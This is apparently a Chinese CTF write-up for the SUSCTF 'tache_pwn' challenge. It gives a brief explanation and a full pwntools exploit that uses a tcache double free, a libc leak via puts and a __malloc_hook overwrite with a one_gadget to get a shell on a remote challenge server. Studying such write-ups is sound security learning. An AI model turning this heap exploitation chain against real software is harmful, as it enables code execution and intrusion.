susctf

tache_pwn
heap之double free

heap之double free

heap之double free
heap之double free

利用double free 控制全局变量,泄露puts函数地址,查出libc库,利用malloc_hook写入one_gadget执行。

为了加深理解,画了一个图
heap之double free

malloc_hook 钩子利用同理。

exp

from pwn import*
p = remote("211.65.197.117",10007)
a = ELF("./libc6_2.27-3ubuntu1_amd64.so")
context.log_level = 'debug'

def add(leng,content):
    p.recvuntil("your choice>\n")
    p.sendline(str(1))
    p.recvuntil("input your flag's length\n")
    p.sendline(str(leng))
    p.recvuntil("input your flag\n")
    p.sendline(content)
def delete(idx):
    p.recvuntil("your choice>\n")
    p.sendline(str(3))
    p.recvuntil("input your index\n")
    p.sendline(str(idx))
def check(idx):
    p.recvuntil("your choice>\n")
    p.sendline(str(2))
    p.recvuntil("input your index\n")
    p.sendline(str(idx))
gdb.attach(p)
add(0x20,'aaa')
delete(0)
delete(0)
add(0x20,p64(0x6012A0))#利用fd指针控制全局变量bss段,后面将其开辟为堆块
add(0x20,"aaa")
add(0x20,p64(0x601230))#将bss段开辟为堆块,并将put_got写入堆块
#raw_input()
check(0)#输出put_got
address = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))
libc_Addr = address - a.symbols["puts"]
print hex(address)

malloc_hook=libc_Addr+a.symbols['__malloc_hook']
addr = malloc_hook-0x23#钩子地址减去header
add(0x60,'aaa')
delete(4)
delete(4)
add(0x60,p64(addr))#利用fd控制钩子块
add(0x60,'aaa')

add(0x60,'\x00'*0x23+p64(libc_Addr+0x10a38c))
#将钩子作为堆块,并将one_gadget写入钩子然后执行钩子

p.interactive()

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-11-18
  • 2021-04-19
  • 2023-03-25
  • 2021-06-22
  • 2022-12-23
猜你喜欢
  • 2021-11-28
  • 2022-12-23
  • 2022-02-01
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2022-02-22
相关资源
相似解决方案